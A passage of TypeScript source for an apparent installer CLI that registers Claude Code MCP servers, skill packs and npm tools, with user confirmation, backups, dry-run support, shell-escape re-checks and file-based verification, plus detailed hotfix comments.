const spawnCwd = install.cwd ?? getMcpSpawnCwd()\n const r = await runArgs(addArgs, spawnCwd)\n if (r.exitCode !== 0) {\n // ADR 0004 idempotent contract: server already registered is not a failure.\n // v3.0.2: match on \"already exists\" substring (CC CLI error message no\n // longer mentions \".mcp.json\" specifically with --scope user).\n if (r.stderr.includes('already exists')) {\n return { ok: true, alreadyInstalled: true, backupId: bk.backupId }\n }\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `claude mcp add (http) exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n\n // v3.0.3 hotfix: verify reads ~/.claude.json directly via fs (no spawn).\n // Sister mcpStdioAdd v3.0.3 verify rationale verbatim — cross-platform,\n // instant, immune to cold-start timeout.\n const registered = await isMcpServerRegistered(name)\n if (!registered) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify: '${name}' not found in mcpServers map of ~/.claude.json after install spawn exit 0 (file may have been overwritten, or claude mcp add wrote to a non-default location)`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, name, install.npm_version, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [mcpFile] }\n}\n","// Phase 1.2 install method 2/2 — mcp-npm × mcp-stdio-add per ADR 0004 § 5.\n//\n// v3.0.2 hotfix (scope flip): `--scope project` → `--scope user`. The pre-\n// v3.0.2 `--scope project` writes `<cwd>/.mcp.json`, which fails with EPERM\n// when user runs `harnessed setup` from a read-only CWD (e.g. PowerShell\n// default `C:\\Windows\\System32`). `--scope user` writes `~/.claude.json`\n// user-global config, which is what `harnessed setup` actually wants (MCP\n// servers should be available across all projects after onboarding, not\n// only the current cwd).\n//\n// The pre-v3.0.2 IMPL NOTE referenced CC #54803 \"user scope broken\" — that\n// CC bug has since been resolved by the Claude Code team; `--scope user`\n// now reads back correctly. Verified via `claude mcp add --help` (2026-05-21).\n//\n// IMPL NOTE (Rule 1): hardcoded `--scope user` here cannot be overridden by\n// manifest fields — the manifest cmd string is treated as audit-trail only;\n// we authoritatively reconstruct the args array.\n//\n// IMPL NOTE (Rule 1 / H2 sister review fix — defense in depth): we bypass\n// lib/spawn.ts (which checks the literal cmd string once via checkCmdString)\n// because our args[] is constructed locally; instead, we re-run\n// checkCmdString on EVERY args[i] right before spawn. This catches any\n// future caller (phase 1.4 routing, test harness) that hands us a manifest\n// where metadata.upstream.source / metadata.name / install.npm_version\n// contains shell escapes — the schema-level B1 gate did not screen these\n// non-cmd fields, so the runtime gate must.\n//\n// IMPL NOTE (v3.0.3 hotfix — verify reads ~/.claude.json directly): pre-v3.0.3\n// verify spawned `claude mcp list` and string-matched the server name in\n// stdout. User reports on Windows the spawn-based verify still times out 15s\n// after 3 sequential `claude mcp add` calls (warm process pool exhausted),\n// surfacing as `verify exit -1 ... [timeout]`. The underlying `claude mcp add\n// --scope user` did succeed — `~/.claude.json` was written — but the verify\n// spawn could not complete in budget. v3.0.3 reads `~/.claude.json` directly\n// via `fs.readFile` + `JSON.parse` + `mcpServers[name]` check (sister\n// `readClaudeConfig.ts`). Same authority (the file IS the contract; CC reads\n// it on startup), zero spawn, zero timeout risk, cross-platform.\n\nimport { checkCmdString } from '../manifest/security.js'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { isMcpServerRegistered } from './lib/readClaudeConfig.js'\nimport { runArgs } from './lib/runClaudeArgs.js'\nimport { getMcpSpawnCwd } from './lib/safeCwd.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\nexport const installMcpStdioAdd: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'mcp-stdio-add') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installMcpStdioAdd received non-mcp-stdio-add method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n const name = ctx.manifest.metadata.name\n const pkg = ctx.manifest.metadata.upstream.source\n const ver = install.npm_version\n // v3.0.2 hotfix: `--scope user` (writes ~/.claude.json user-global config,\n // CWD-independent) instead of `--scope project` (writes <cwd>/.mcp.json,\n // EPERM when user CWD is read-only). harnessed setup is an onboarding\n // command — MCP servers should be available cross-project after install,\n // not scoped to whatever ephemeral CWD the user launched from.\n const addArgs = [\n 'mcp',\n 'add',\n '--scope',\n 'user',\n '--transport',\n 'stdio',\n name,\n '--',\n 'npx',\n '--yes',\n `${pkg}@${ver}`,\n ]\n\n // H2 defense-in-depth — re-screen each constructed arg. metadata.name and\n // metadata.upstream.source pass through B1 only as YAML scalars; never as\n // shell tokens. Re-check in case a future schema change relaxes those fields.\n for (const a of addArgs) {\n const violation = checkCmdString(a)\n if (violation) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/cmd',\n `shell escape detected in constructed mcp-add arg '${a.slice(0, 60)}': ${violation.label} (${violation.hint})`,\n 'security-gate-bypass',\n ),\n }\n }\n }\n\n // v3.0.2: diff target is ~/.claude.json (user-global config) instead of\n // <cwd>/.mcp.json (project-local config). `--scope user` flag writes to\n // ~/.claude.json. Simulate entry textually — `claude mcp add --dry-run`\n // CLI flag is not documented, relying on it would be unstable contract.\n const mcpFile = `${getMcpSpawnCwd()}/.claude.json`\n const newEntry = JSON.stringify(\n { [name]: { type: 'stdio', command: 'npx', args: ['--yes', `${pkg}@${ver}`] } },\n null,\n 2,\n )\n const plan: DiffPlan = {\n files: [\n {\n target: mcpFile,\n scope: 'HOME',\n oldText: '',\n newText: `// will be merged into ~/.claude.json mcpServers map by \\`claude mcp add --scope user\\`:\\n${newEntry}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n // v3.0.2: spawn cwd at homedir() — `--scope user` writes to ~/.claude.json\n // regardless of spawn cwd, but the CC CLI may create temp files in cwd\n // during the write; using homedir() avoids EPERM when user launches\n // harnessed from a read-only CWD (e.g. C:\\Windows\\System32).\n const spawnCwd = install.cwd ?? getMcpSpawnCwd()\n const r = await runArgs(addArgs, spawnCwd)\n if (r.exitCode !== 0) {\n // ADR 0004 idempotent contract (v1.0.4): server already registered is\n // not a failure. The pre-v3.0.2 error string was \"already exists in\n // .mcp.json\"; with --scope user the CC CLI now reports it as\n // \"already exists in\" the user-config (~/.claude.json or similar).\n // Match on the stable \"already exists\" substring.\n if (r.stderr.includes('already exists')) {\n return { ok: true, alreadyInstalled: true, backupId: bk.backupId }\n }\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `claude mcp add exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n\n // v3.0.3 hotfix: verify reads ~/.claude.json directly via fs (no spawn).\n // `~/.claude.json` is the authoritative file CC reads on startup; `claude\n // mcp list` is just a pretty-printer over the same data. Reading the file\n // is cross-platform, instantaneous, and immune to the v3.0.2 cold-start\n // timeout that surfaced when 3 MCP installers ran sequentially in setup.\n const registered = await isMcpServerRegistered(name)\n if (!registered) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify: '${name}' not found in mcpServers map of ~/.claude.json after install spawn exit 0 (file may have been overwritten, or claude mcp add wrote to a non-default location)`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, name, ver, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [mcpFile] }\n}\n","// Phase 1.2 install method 1/2 — cli-npm × npm-cli per ADR 0004 + ASSUMPTIONS B3.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS B3 候选 1 + H3 sister review fix): when a\n// manifest declares `npm install -g <pkg>` (Level L4) but the user has NOT\n// passed `--system`, do NOT silently flip to npx — that is \"decision masking\"\n// and erodes trust. Present an explicit 3-way `p.select()`: (a) abort and\n// re-run with --system / (b) downgrade to L1 npx ephemeral / (c) abort.\n// Default is (c) — safest action wins on Enter / Ctrl-C / Esc.\n//\n// IMPL NOTE (Rule 1 / D-1 reuse): every multi-line block delegates to a lib/*\n// helper. This installer is a thin orchestrator; if you find yourself adding\n// fs/spawn/diff logic *here*, lift it to lib/.\n\nimport * as p from '@clack/prompts'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { DEFAULT_INSTALL_TIMEOUT_MS, DEFAULT_VERIFY_TIMEOUT_MS, spawnCmd } from './lib/spawn.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer, InstallResult, Level } from './lib/types.js'\n\nfunction detectLevel(cmd: string): Level {\n if (/\\bnpm\\s+install\\s+-g\\b/.test(cmd)) return 'L4'\n if (/\\bnpx\\b/.test(cmd)) return 'L1'\n return 'L4' // safest default: assume worst-case scope\n}\n\nexport const installNpmCli: Installer = async (ctx) => {\n // Discriminator narrow — index.ts only routes here when method === 'npm-cli'.\n const install = ctx.manifest.spec.install\n if (install.method !== 'npm-cli') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installNpmCli received non-npm-cli method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n let level = detectLevel(install.cmd)\n let cmd = install.cmd\n const plan: DiffPlan = { files: [] }\n // L1 npx & L4 global both produce \"(no file changes)\" diff — L4 PATH mod is\n // not previewable as a unified diff; the cmd echo is the audit trail.\n process.stdout.write(renderDiff(plan, ctx))\n if (level === 'L4')\n process.stdout.write(' (L4 system install — global PATH change; see cmd above)\\n')\n const conf = await confirmAt(level, { ...ctx, level })\n if (!conf.proceed) {\n if (level === 'L4' && conf.reason === 'flag-missing' && !ctx.opts.nonInteractive) {\n // H3 three-way prompt (interactive only — non-interactive already short-circuited)\n const choice = await p.select({\n message: 'L4 install requires --system. Choose:',\n options: [\n { value: 'retry', label: 'Retry with --system flag (re-run command)' },\n { value: 'npx', label: 'Downgrade to L1 npx ephemeral install (no global)' },\n { value: 'abort', label: 'Abort install' },\n ],\n initialValue: 'abort',\n })\n if (p.isCancel(choice) || choice === 'abort') return { aborted: true, reason: 'user-cancel' }\n if (choice === 'retry') return { aborted: true, reason: 'level-flag-missing' }\n // 'npx' branch: rebuild cmd + re-confirm at L1\n cmd = `npx --yes ${ctx.manifest.metadata.upstream.source}@${install.npm_version}`\n level = 'L1'\n const conf2 = await confirmAt('L1', { ...ctx, level: 'L1' })\n if (!conf2.proceed) return { aborted: true, reason: 'user-cancel' }\n } else {\n // confirm.reason 'flag-missing' (L4 non-interactive) maps to InstallResult\n // 'level-flag-missing'; 'user-cancel' / undefined → 'user-cancel'.\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n }\n // dry-run short-circuit (preview-only, never writes — ADR 0004 contract 1)\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n // v3.0.2: explicit install timeout (60s default — Windows cold npm/npx cache friendly).\n const sp = await spawnCmd(ctx, cmd, [], DEFAULT_INSTALL_TIMEOUT_MS)\n if (!('exitCode' in sp)) return { ...sp, backupId: bk.backupId } as InstallResult\n if (sp.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `install cmd exited ${sp.exitCode}: ${sp.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n // v3.0.2: verify honors spec.verify.timeout_ms (default 15s) — manifest authors retain control.\n const verifyTimeoutMs = ctx.manifest.spec.verify.timeout_ms ?? DEFAULT_VERIFY_TIMEOUT_MS\n const vr = await spawnCmd(ctx, ctx.manifest.spec.verify.cmd, [], verifyTimeoutMs)\n if (!('exitCode' in vr)) return { ...vr, backupId: bk.backupId } as InstallResult\n const expected = ctx.manifest.spec.verify.expected_exit_code ?? 0\n if (vr.exitCode !== expected) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify exit ${vr.exitCode} ≠ expected ${expected}`,\n 'verify-failed',\n ),\n }\n }\n // manifest sha1 capture is a Wave 5 CLI concern (it owns the raw yaml bytes);\n // T3.1 records empty-string placeholder per state.ts schema.\n await updateInstalled(ctx.cwd, ctx.manifest.metadata.name, install.npm_version, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [] }\n}\n","// Phase 2.1 install method 6/6 — cc-skill-pack × npx-skill-installer per ADR\n// 0004 § 5 + ADR 0007 install_type=npx + ADR 0010 errata D2.1-4/5/6.\n//\n// IMPL NOTE (Rule 1 / D2.1-4 + D2.1-5 — pinned skills@1.5.7 + --copy --global):\n// the npx tool is `skills` (vercel-labs/skills). v1.5.7 is the research-pinned\n// stable version (RESEARCH.md § 2). `--copy --global` is mandatory:\n// - `--copy` materializes SKILL.md files into ~/.claude/skills/<name>/ instead\n// of symlinks (default symlinks break on Windows + on systems with\n// ~/.claude on a different volume than the npx cache)\n// - `--global` writes to ~/.claude/skills/ (user-scope) instead of cwd\n// These flags are encoded by the manifest cmd string; we PRESERVE the user's\n// cmd verbatim through spawnCmd, AND we assert the required flags are present\n// (preflight) to prevent silent mis-install via a typo'd manifest.\n//\n// IMPL NOTE (Rule 1 / D2.1-6 CRITICAL — real-path verify, NOT npx exit code):\n// `npx skills add ... --copy --global` can exit 0 without actually writing\n// SKILL.md to ~/.claude/skills/<name>/. Known causes:\n// - skills CLI default targets ~/.agents/ on some systems (D-02 bridge gap)\n// - npm prefix mis-configured\n// - permission errors silently swallowed by npx\n// → verify by `test -f ~/.claude/skills/<name>/SKILL.md` (the REAL path).\n// npx-success + verify-fail → InstallError keyword:'verify-failed' with a\n// suggest pointing at the ~/.agents/ vs ~/.claude/ bridge limitation (D-02).\n// This is the heart of the C6 directory-conflict gotcha — we cannot trust\n// the spawn exit code; the filesystem is the only authority.\n//\n// IMPL NOTE (Rule 1 / D-1 reuse): thin orchestrator on top of spawnCmd. The\n// real-path verify is fs-based (`fs.access` / `fs.stat`), not a spawned `test`\n// — direct fs is faster, doesn't depend on /bin/test or cmd.exe behavior,\n// and produces a clean Promise without process plumbing.\n\nimport { access } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { DEFAULT_INSTALL_TIMEOUT_MS, DEFAULT_VERIFY_TIMEOUT_MS, spawnCmd } from './lib/spawn.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer, InstallResult } from './lib/types.js'\n\n// Extract `<owner/repo>` from `npx ... skills@<ver> add <owner/repo> ...`.\n// Used to compute the expected SKILL.md path. Falls back to manifest\n// metadata.name when the `add <ref>` token is absent.\nfunction extractSkillName(cmd: string, fallback: string): string {\n const m = cmd.match(/\\bskills(?:@\\S+)?\\s+add\\s+(\\S+)/i)\n if (!m || m[1] === undefined) return fallback\n const ref = m[1]\n // If owner/repo, take repo (last segment). If single name, use as-is.\n const seg = ref.split('/')\n return seg[seg.length - 1] ?? fallback\n}\n\nexport const installNpxSkillInstaller: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'npx-skill-installer') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installNpxSkillInstaller received non-npx-skill-installer method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n // D2.1-5 — assert pinned `skills@1.5.7` is referenced in the cmd. We require\n // an explicit pin (not @latest) for reproducibility (ADR 0001). Research\n // pinned 1.5.7 (RESEARCH.md § 2); we don't hardcode \"1.5.7\" here because a\n // future minor bump (1.5.8) should be allowed via manifest update. We only\n // enforce shape: skills@<version-spec>, not @latest.\n if (!/\\bskills@(?!latest\\b)\\S+/.test(install.cmd)) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `npx-skill-installer cmd must reference a pinned skills@<version> (got: '${install.cmd.slice(0, 100)}'); @latest is forbidden for reproducibility (ADR 0001)`,\n 'skills-pin-required',\n ),\n suggest: 'change `skills@latest` → `skills@1.5.7` (current research-pinned stable)',\n },\n }\n }\n\n // D2.1-5 — assert --copy and --global flags are present. Either order, but\n // both are mandatory (research § 2). Silent omission would result in\n // broken-on-Windows symlinks (no --copy) or cwd-scope skills (no --global).\n if (!/\\B--copy\\b/.test(install.cmd) || !/\\B--global\\b/.test(install.cmd)) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `npx-skill-installer cmd must include both \\`--copy\\` and \\`--global\\` flags (D2.1-5)`,\n 'skills-flags-required',\n ),\n suggest:\n '`--copy` materializes files (Windows symlink-safe); `--global` targets ~/.claude/skills/ (user scope)',\n },\n }\n }\n\n // L2 — per-user (~/.claude/skills/<name>/). pure-create DiffPlan with\n // SKILL.md as the target file under HOME scope. rollback = rm -rf the\n // skill dir.\n const name = ctx.manifest.metadata.name\n const skillSegment = extractSkillName(install.cmd, name)\n const skillDir = join(homedir(), '.claude', 'skills', skillSegment)\n const skillMdPath = join(skillDir, 'SKILL.md')\n const plan: DiffPlan = {\n files: [\n {\n target: skillMdPath,\n scope: 'HOME',\n oldText: '',\n newText: `// new SKILL.md created by: ${install.cmd}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L2', { ...ctx, level: 'L2' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n // npx invocation (cmd from manifest; B1 re-screened by spawnCmd).\n // v3.0.2: explicit install timeout (60s — npx cold cache + skills add filesystem traverse).\n const sp = await spawnCmd(ctx, install.cmd, [], DEFAULT_INSTALL_TIMEOUT_MS)\n if (!('exitCode' in sp)) return { ...sp, backupId: bk.backupId } as InstallResult\n if (sp.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `npx skills add exited ${sp.exitCode}: ${sp.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n\n // D2.1-6 CRITICAL — real-path verify. npx exit 0 ≠ files actually written.\n // Use fs.access (faster, deterministic, cross-OS) instead of spawning `test`.\n try {\n await access(skillMdPath)\n } catch {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: {\n ...err(\n ctx,\n '/spec/verify/cmd',\n `npx skills add reported success but SKILL.md is missing at ${skillMdPath}; the skills CLI may have written to ~/.agents/ instead (D-02 bridge limitation) or the npm prefix is misconfigured`,\n 'verify-failed',\n ),\n suggest: `check if SKILL.md exists at ~/.agents/${skillSegment}/SKILL.md (skills CLI default on some systems); if so, copy or symlink it into ~/.claude/skills/${skillSegment}/`,\n },\n }\n }\n\n // Optional secondary verify: run the manifest verify.cmd (often a grep\n // check) for parity with other installers and to surface install-specific\n // post-conditions like \"CLAUDE.md was patched\".\n // v3.0.2: verify honors spec.verify.timeout_ms (default 15s).\n const verifyTimeoutMs = ctx.manifest.spec.verify.timeout_ms ?? DEFAULT_VERIFY_TIMEOUT_MS\n const vr = await spawnCmd(ctx, ctx.manifest.spec.verify.cmd, [], verifyTimeoutMs)\n if (!('exitCode' in vr)) return { ...vr, backupId: bk.backupId } as InstallResult\n const expected = ctx.manifest.spec.verify.expected_exit_code ?? 0\n if (vr.exitCode !== expected) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `manifest verify cmd exit ${vr.exitCode} ≠ expected ${expected}: ${vr.stderr.slice(0, 200)}`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, name, install.npm_version, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [skillMdPath] }\n}\n","// Phase 1.2 → 2.1 installer dispatch table.\n//\n// Phase 1.2 shipped 2 of 6 install methods: npm-cli + mcp-stdio-add.\n// Phase 2.1 unblocks the remaining 4 (cc-plugin-marketplace / git-clone-with-setup /\n// npx-skill-installer / mcp-http-add). All 6 methods are now runtime-ready —\n// the phase21 placeholder const has been removed. See PATTERNS § 4 + ADR 0010 errata.\n//\n// Level mapping per ADR 0004 § 4 (4-level confirm strictness):\n// L1: harnessed-local writes only → npx ephemeral\n// L2: per-user (~/.claude/skills/) → git-clone / npx-skill / npm local\n// L3: user-config (~/.claude.json / → cc-plugin-marketplace / mcp-stdio /\n// .mcp.json / hooks) mcp-http\n// L4: system PATH / global binary → npm install -g\n//\n// npm-cli's level is dynamic (npmCli.ts re-detects from cmd string); we default\n// to L4 here as the safest pre-confirmation seed — npmCli may downgrade to L1\n// after the dry-run preview when cmd uses npx.\n\nimport { installCcHookAdd } from './ccHookAdd.js'\nimport { installCcPluginMarketplace } from './ccPluginMarketplace.js'\nimport { installGitCloneWithSetup } from './gitCloneWithSetup.js'\nimport type { Installer, InstallOpts, InstallResult, Level, Manifest } from './lib/types.js'\nimport { installMcpHttpAdd } from './mcpHttpAdd.js'\nimport { installMcpStdioAdd } from './mcpStdioAdd.js'\nimport { installNpmCli } from './npmCli.js'\nimport { installNpxSkillInstaller } from './npxSkillInstaller.js'\n\nexport const installers: Record<Manifest['spec']['install']['method'], Installer> = {\n 'npm-cli': installNpmCli,\n 'mcp-stdio-add': installMcpStdioAdd,\n 'cc-plugin-marketplace': installCcPluginMarketplace,\n 'git-clone-with-setup': installGitCloneWithSetup,\n 'npx-skill-installer': installNpxSkillInstaller,\n 'mcp-http-add': installMcpHttpAdd,\n // Phase 2.4 W3 T3.1 (D-04 § 3.1) — 7th installer.\n 'cc-hook-add': installCcHookAdd,\n}\n\nfunction levelOf(manifest: Manifest): Level {\n const method = manifest.spec.install.method\n switch (method) {\n case 'mcp-stdio-add':\n case 'mcp-http-add':\n case 'cc-plugin-marketplace':\n case 'cc-hook-add':\n // ~/.claude/settings.json is shared user-scope state (L3 tier sister\n // mcp-stdio CC #54803 \"shared user state\" warning).\n return 'L3'\n case 'git-clone-with-setup':\n case 'npx-skill-installer':\n return 'L2'\n case 'npm-cli':\n return 'L4'\n }\n}\n\nexport async function runInstall(manifest: Manifest, opts: InstallOpts): Promise<InstallResult> {\n const installer = installers[manifest.spec.install.method]\n return installer({ manifest, opts, level: levelOf(manifest), cwd: process.cwd() })\n}\n","// Phase 1.2 cli subcommand `install` per ADR 0004 § 1 + § 6 + Pattern C narrow.\n//\n// IMPL NOTE (v3.0.1 UX flip — apply-immediate default + --dry-run opt-in):\n// `harnessed install <name>` executes immediately by default (non-expert UX;\n// v3.0.1 user feedback — dry-run 是高级用户概念,默认应 apply)。`--dry-run` flag\n// is opt-in 高级用户预览。Sister setup.ts pattern verbatim (L5-7 IMPL NOTE).\n// v3.3.0 cleanup — `--apply` backward-compat alias removed (was no-op since\n// v3.0.1)。default is apply-immediate, no flag needed。\n//\n// Exit code mapping (ADR 0004 contract 6 — no silent failure):\n// 0 → install succeeded (ok: true)\n// 1 → install failed (ok: false; print error.suggest if present)\n// 2 → user-aborted / platform-mismatch (not an error)\n\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport type { Command } from 'commander'\n// Phase 3.4 W0.2 #AD — Path A LOCKED per RESEARCH § 6.2 A1 ASSUMED LOW risk\n// (Node 22 + TypeScript 5.6+ supports `with { type: 'json' }` native ES2022\n// import attributes per ECMAScript 2025 stage 4). Replaces hardcoded '0.3.0'\n// literal at L116 with pkg.version (single source of truth = package.json L3).\nimport pkg from '../../package.json' with { type: 'json' }\nimport { t } from '../i18n/index.js'\nimport { runInstall } from '../installers/index.js'\nimport type { InstallError, InstallOpts } from '../installers/lib/types.js'\nimport { checkPathSafe } from '../manifest/lib/path-guard.js'\nimport { validateManifestFile } from '../manifest/validate.js'\nimport { getPackageRoot } from './lib/packagePath.js'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\n\ninterface RawOpts {\n dryRun?: boolean\n system?: boolean\n nonInteractive?: boolean\n fullDiff?: boolean\n color?: boolean // commander turns --no-color into color: false\n knownGood?: boolean // ← Phase 3.3 W1 T1.9 ADD (D-03 YAML version lock consume)\n}\n\nfunction formatError(e: InstallError): string {\n const head = `error: ${e.message}`\n const where = e.path && e.path !== '/' ? `\\n at ${e.path}` : ''\n const tip = e.suggest ? `\\n fix: ${e.suggest}` : ''\n return `${head}${where}${tip}`\n}\n\nexport function registerInstall(program: Command): void {\n program\n .command('install <name>')\n .description('Install an upstream (immediate by default — use --dry-run for preview)')\n .option('--dry-run', 'preview only — do not write to disk (opt-in for advanced users)')\n .option('--system', 'allow L4 system-wide install (e.g. global npm install)')\n .option('--non-interactive', 'skip all prompts (CI / scripts)')\n .option('--full-diff', 'expand diffs longer than 200 lines')\n .option('--no-color', 'disable ANSI colors (auto-detected when piped)')\n .option(\n '--known-good',\n 'use known-good version lock from versions/<harnessed-ver>-known-good.yaml',\n )\n .action(async (name: string, raw: RawOpts) => {\n validateNonInteractiveFlags(raw, 'install <name>')\n\n // Phase 3.3 W1 T1.8 ADD — D-01 alias redirect (D-02 silent install,\n // NO console output per R7.5 验收 \"install 通过\" 语义对齐; doctor 7th\n // check is the human-readable deprecation audit surface).\n const { resolveAlias } = await import('../manifest/aliases.js')\n const resolvedName = resolveAlias(name) ?? name\n // R10.4 D-04 hardening site 2 — screen resolved alias redirect (defense-in-depth).\n checkPathSafe(resolvedName)\n\n const manifestPath = resolve(getPackageRoot(), `manifests/tools/${resolvedName}.yaml`)\n const skillPackPath = resolve(getPackageRoot(), `manifests/skill-packs/${resolvedName}.yaml`)\n let yamlSrc: string\n let chosenPath = manifestPath\n try {\n yamlSrc = await readFile(manifestPath, 'utf8')\n } catch {\n try {\n yamlSrc = await readFile(skillPackPath, 'utf8')\n chosenPath = skillPackPath\n } catch {\n console.error(\n `${t('install.manifest_not_found', { name: resolvedName })}\\n${t('install.manifest_not_found.fix', { name: resolvedName })}`,\n )\n process.exit(1)\n }\n }\n\n const v = validateManifestFile(yamlSrc, chosenPath)\n if (!v.ok) {\n for (const e of v.errors) console.error(`error: ${e.message} at ${e.path}`)\n console.error(t('install.audit_hint'))\n process.exit(1)\n }\n\n // v3.0.1 UX flip — apply-immediate default + --dry-run opt-in。\n // dryRun=true → preview only;dryRun=false → immediate execute。\n const dryRun = raw.dryRun === true\n const opts: InstallOpts = {\n apply: !dryRun,\n dryRun,\n system: raw.system === true,\n nonInteractive: raw.nonInteractive === true,\n fullDiff: raw.fullDiff === true,\n color: raw.color === false ? false : 'auto',\n }\n\n // Phase 3.3 W1 T1.9 ADD — D-03 known-good lock consume (lazy load only\n // when flag set per Karpathy YAGNI Discretion lock).\n if (raw.knownGood) {\n const { getPinnedVersion } = await import('../manifest/knownGood.js')\n const harnessedVer = pkg.version\n const pinned = getPinnedVersion(v.manifest.metadata.name, harnessedVer)\n if (pinned && v.manifest.spec.install.method === 'npm-cli') {\n ;(v.manifest.spec.install as { npm_version?: string }).npm_version = pinned\n }\n }\n\n const result = await runInstall(v.manifest, opts)\n\n if ('aborted' in result) {\n console.error(t('install.aborted', { reason: result.reason }))\n process.exit(2)\n }\n if (result.ok) {\n const version =\n v.manifest.spec.install.method === 'npm-cli' && 'npm_version' in v.manifest.spec.install\n ? v.manifest.spec.install.npm_version\n : ''\n console.log(\n version\n ? t('install.success_with_version', { name: v.manifest.metadata.name, version })\n : t('install.success', { name: v.manifest.metadata.name }),\n )\n process.exit(0)\n }\n console.error(formatError(result.error))\n process.exit(1)\n })\n}\n","// Phase 1.3 cli subcommand `install-base` per ADR 0007 + R1 D-9 + D-11.\n//\n// 